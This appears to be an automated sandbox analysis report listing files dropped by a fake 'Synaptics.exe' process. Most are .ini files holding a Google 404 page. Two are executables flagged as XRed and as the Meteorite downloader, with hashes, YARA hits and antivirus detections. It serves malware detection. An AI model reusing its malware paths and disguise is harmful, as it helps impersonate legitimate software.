Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Uj8VKREXCzORpG1iA7OpmA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\P6ZgIwE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257761688159489
Encrypted:	false
SSDEEP:	24:GgsF+0jSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Q+pAZewRDK4mW
MD5:	8B2D5409806E6002F4E3B6C65C40F6B4
SHA1:	A55DBBC2291DBD27C05D7F9AE21A7F65C576CCB9
SHA-256:	43A9AE550740E4FC26187BC944929A8D990751E14460B99D22A683251F424DA7
SHA-512:	71AC61622E42ABFA7D0EAE72409CE0507B6A8FB3FF0D6D634F654C354AC70AD1DFD2A9F2A208322CEDE1C2FBE2D3AEA1982FF6CF761909DD3A63E20F75888183
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8DkvtvhwI2EDx9iCgV0kPg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\PCs27n5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265763065091023
Encrypted:	false
SSDEEP:	24:GgsF+0wTSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3T+pAZewRDK4mW
MD5:	69C3D509464D611FBECE5D7E3538A6A0
SHA1:	903904D99EBD1B68B04BBD8023B16B8C8337CB38
SHA-256:	E088C47BDD2644C0E9818E1B67BB531BF98C4AD46CC0097F96AB2EE18280C57E
SHA-512:	E0BEBE4407C7D22471EA40BEF808D408994E7935A01FBF7218E7E7AF50CF23D7FB06FA6460C3D432358FCF9DAE5B8C0552E2B597EFC47DF198E35A04B93D2620
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="qxNv1AgKSu1qyNBzsVRQpg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\PK89sUI.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.250819614858199
Encrypted:	false
SSDEEP:	24:GgsF+0jaXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+4A+pAZewRDK4mW
MD5:	11A5D2079B063E9F155B234FE3ADEA82
SHA1:	1DD308F9488E9A58D1C1A30388BF76E5C3700072
SHA-256:	60067D751815CB883F4613470D998D36EC1F7FC649E2AC6A6B2B4F7AAEC483E4
SHA-512:	53B2B726124662B97816CCA6E6A423A16CA15B3664DD1B6D047F6060C06BD4C70ED8A1569CA08C80C28CAAA4EF4EC1F48E4CBA2740FC23E1EF694B66EEC86E33
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2vYzJxRwbbnoKbfgU-EiiA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Pw2Whzs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25979251366042
Encrypted:	false
SSDEEP:	24:GgsF+0wDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	A93CBC3B99C0F9F557C0DF966AC88AC9
SHA1:	F246C123CA3A99D7D5928A4FCF0805B4B6205881
SHA-256:	106982747815F5B667B40C1E7F1134229EB0421BC5D9469FC624C935480E0CC4
SHA-512:	FFB005DAFDFF111FBC846CE7DB1D63EC7AA5C399F151A4FD8D94A0656821C5F1F955C5F3DAE78023DC7D13538C4D62CB8AC01E9E3BACE8BA580C9CCC458F8555
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="scPwEfYyIcmZ1yN4vUrpTQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\QsYXue3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25176931025784
Encrypted:	false
SSDEEP:	24:GgsF+0adSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7d+pAZewRDK4mW
MD5:	E5CF4BE875F49DBBBF712B2468124BDF
SHA1:	0BD9947548488D15E0E850AFFFB67ED26B0056E3
SHA-256:	B2B4C0618EE8639DAD76C8E598B65936BA2BC118DB5B645D54A5143E5A4CE1C6
SHA-512:	C6D36700604BDE9D6F84FCF1F84CF8E9BDAFAB5516545E0ECC4BBBE84AD418A29ED049A9BC0EFECBE41AD03C51DDEF9F0FC085CFCF8960061AD596D24683F8F0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ys3BzRHllhU9_isC9xvrnw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\QuhaAzo.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269211732952855
Encrypted:	false
SSDEEP:	24:GgsF+0nIWSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+bW+pAZewRDK4mW
MD5:	D40E23D21CAF9723DEFA59F9ADA2B17D
SHA1:	43C90794045A740E7C1EA20B32963561A2446D67
SHA-256:	824A2D7A840B1061F46EE475EF12A9FA17EEDBD01F319E781F8F5D245F159725
SHA-512:	63B6C13CAB2AFB58DC8320F5A5001CDB806706173D5D1395649557811133B8A7CF9D1CBCE5168B1ABC4B8E5EA4AF825517366CCBE42D45F5A417A6D278D62E9F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="z8uV3wEX6Y4wFFmNSpvuhQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\RB7gftY.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2593263185853
Encrypted:	false
SSDEEP:	24:GgsF+0wSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+X+pAZewRDK4mW
MD5:	F3B795165DB85A1040A9B80134519E74
SHA1:	B9D56CE71C36DC0D9F3B6F067C6C16AD5CF043F6
SHA-256:	3DA4F60DFC7ED77111DE67C125490BB52BD33DF5352F4235D35D62633977E024
SHA-512:	F0FDB4BCBADEEFB79C11BAFF8BAC00807B08DB80DE262645F84DD85AF102D4376F0AF37E97C2D4608AB07DEC7D08CE16F8C5A57FD6C2F0059C0BF66AF6711ABD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="dhGtlFTxLGE-CciO5847VA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\RCXF081.tmp

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	778240
Entropy (8bit):	6.6240473196681755
Encrypted:	false
SSDEEP:	12288:qMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9kxj:qnsJ39LyjbJkQFMhmC+6GD9C
MD5:	B23FC8AFE875DC99D68C543D776BB58D
SHA1:	AC64A4A1D9297B78A8393E9CDD0609009956DA9B
SHA-256:	38317B1DBEB3A8A8204D74F97BCF4A8B5A7A6A8FD22F40C0403880AF27F5D820
SHA-512:	B4F236784A706CF93C0769369D24919DC7118A5C2D1F1CF7C10F70850BE11F666C95A3D5C560BCADB3B3EA6A4BCC5790604E5E82D88CBDA9AEAA32BB056D9DFF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp, Author: Joe Security Rule: MALWARE_Win_Meteorite, Description: Detects Meteorite downloader, Source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................@....................@..........................@...................@..............................B......07...................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...07.......8..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	778240
Entropy (8bit):	6.625613104693741
Encrypted:	false
SSDEEP:	12288:qMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9kJj:qnsJ39LyjbJkQFMhmC+6GD9a
MD5:	BFEEB337E2E75AF21DC4CF7DDA131F44
SHA1:	87ACAF46B3DB499EE1BAAE058493EEB8B92E7644
SHA-256:	7EBF384E2960F26A0F9D76DD8E4A1090326AA2E02019E7686A8A99641A6ABB49
SHA-512:	975DA4E02F010E366EDBEDBC199BE2BEAA482D923D7100C6B8771BDED87D824560F6C718C4E8DF3221231C40179C7EC4EFA89948550E2A488146955A5B9B20F7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp, Author: Joe Security Rule: MALWARE_Win_Meteorite, Description: Detects Meteorite downloader, Source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................@....................@..........................@...................@..............................B......07...................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...07.......8..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\SH3nTPq.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253965437662951
Encrypted:	false
SSDEEP:	24:GgsF+0HjwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++jw+pAZewRDK4mW
MD5:	8E41E75AF6F164AED92D0A0BFD763087
SHA1:	DF27ED3B1AF333DD28AE1DED0E218CF5CB9C2E25
SHA-256:	4ED95BD70E2CB7BC910E8928E7E575C7DD6D795564828AC3B87A4B3786FFE572
SHA-512:	C0E34CDBC0573E73A4914ECA1EAD0E9426E89113C9E09050E34A59C162EF8A61D5483857ED12C4B2A9836B7E1530BAF57D3F2746AFCD71EBBE7AC3AA5A374590
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GDNqu7dqbu1F-uJn5bCGpg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\SXmQsQE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259825235806729
Encrypted:	false
SSDEEP:	24:GgsF+01SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+y+pAZewRDK4mW
MD5:	A13067AF507752BD571696021B117295
SHA1:	B8045B01C26B54C28968863BB41C332CB943D95C
SHA-256:	F69206575516718C281384371931AD91AEFE60AE6EADFFB52D3C18676C4FD5F3
SHA-512:	C966B0FF99082229990F692CAD2F110D176C00CA9E741605405CC17042E9D60F83C60D8A1CAEE1B3B7F192A84A7A2B4F12067DD211D66C89316D81540D1B61DA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xbDEhr2QcO9lWqWp2jLEdw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\SkNwgdU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25596135985107
Encrypted:	false
SSDEEP:	24:GgsF+09k3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Ik3+pAZewRDK4mW
MD5:	5D6C428A1BEFEE4E9EA159880A6514B1
SHA1:	A98FE95D5004344539CCCCE12A5D9FC115F30787
SHA-256:	D2E020BCFAC5EBEB1232CC05C12B2EE0ABDB435CD2BBDE5400EDC7F70F1E7D64
SHA-512:	8F1BD096002EA94102A4CB13C8AB22430CC1CC7FDD3BB69DDC72DCF3C51189AA5140A85D0E62BB88DB7F310A99090CEF8AAAD9D599E9FE7526A54380F24DDFDE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="hRDaBjlG0euZprr7kvRNxA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\StS35o2.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258143661391621
Encrypted:	false
SSDEEP:	24:GgsF+0PfISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D+pAZewRDK4mW
MD5:	FB6CAFA505F1526ACC59266248D8E5A9
SHA1:	4D8532A7F47F19343A064789061153C8ABA760D2
SHA-256:	02718D4676EC1768E269CEAB2406AF98B3C8E8D196C0A3253FF82485720FF06B
SHA-512:	1A091EADE1B3E0A21CF5D9D8DD1A0C348FF4C1561383A23DDDC8A4A9A86406508991B3B36A4967A6E489FB2C0282A38F3F6A68743AED83B0253C5159961AD62D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="pOztAXL_JL3ue1_mayF7Rg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\TQf7qrF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265548482809062
Encrypted:	false
SSDEEP:	24:GgsF+0hSSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+b+pAZewRDK4mW
MD5:	C462C562F1E8FF7CBDB54F0BBB1B7267
SHA1:	9B4103206DAE0C5B716B11F1D8C5357AB192A2A8
SHA-256:	5C2D5FE2D5BEA4FE775D20CB5DE8568D20465A6E55EB1FF5C8CB6CB70A1F6D3B
SHA-512:	48AFFC1E4806B3683726B2EF3D2516A5BFE622A6F90D5C9B603F3784FEC6A5C3BB560661472225ED6AFD1A944D0567F1F0954D499CF91599FCB65B4C71CE78C6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="j_4QOC6o2NWo-CQcsstzqA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\TQkNEqc.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264899246013172
Encrypted:	false
SSDEEP:	24:GgsF+0AKcSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+B+pAZewRDK4mW
MD5:	C451971AA6DC84F19684B477E78013BD
SHA1:	5235F124D515DDA87FE401A131963F24A24DF7E4
SHA-256:	7A67A263C255D22EC1B28DA98E6402E1678CB2A5685D08C24F37B6E70FEFCC16
SHA-512:	CAE7DB2EF9F013E094CA737923348552C5AEDE8CD77282B796C0A1E0834220136D10C33D03D7BA4202F261AA1E5390402F53A3F8730778AAB2F8E8DDFE97740E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oHQkFAYE2f2Z33WmApeb6g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\TTQcKwZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265450560577418
Encrypted:	false
SSDEEP:	24:GgsF+0IYSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+HY+pAZewRDK4mW
MD5:	9E68755B2DF06AE5A14DB36C76841B5B
SHA1:	DE28057D56231DF3EB74D2966C47FA9C3010D6B6
SHA-256:	592B44BA5A45A5E65D560E6BBDD0B133F4B02C486781C2B2A20EF2730301071B
SHA-512:	C7F570CFD0181C0463994C8A61869A13D99627256B5545EF2418B0DB1B04E73DE75DF42C01354EEBE5280036B0C9B3A744C423C002C1BD90F5CC237E4C62AA83
Malicious:	false
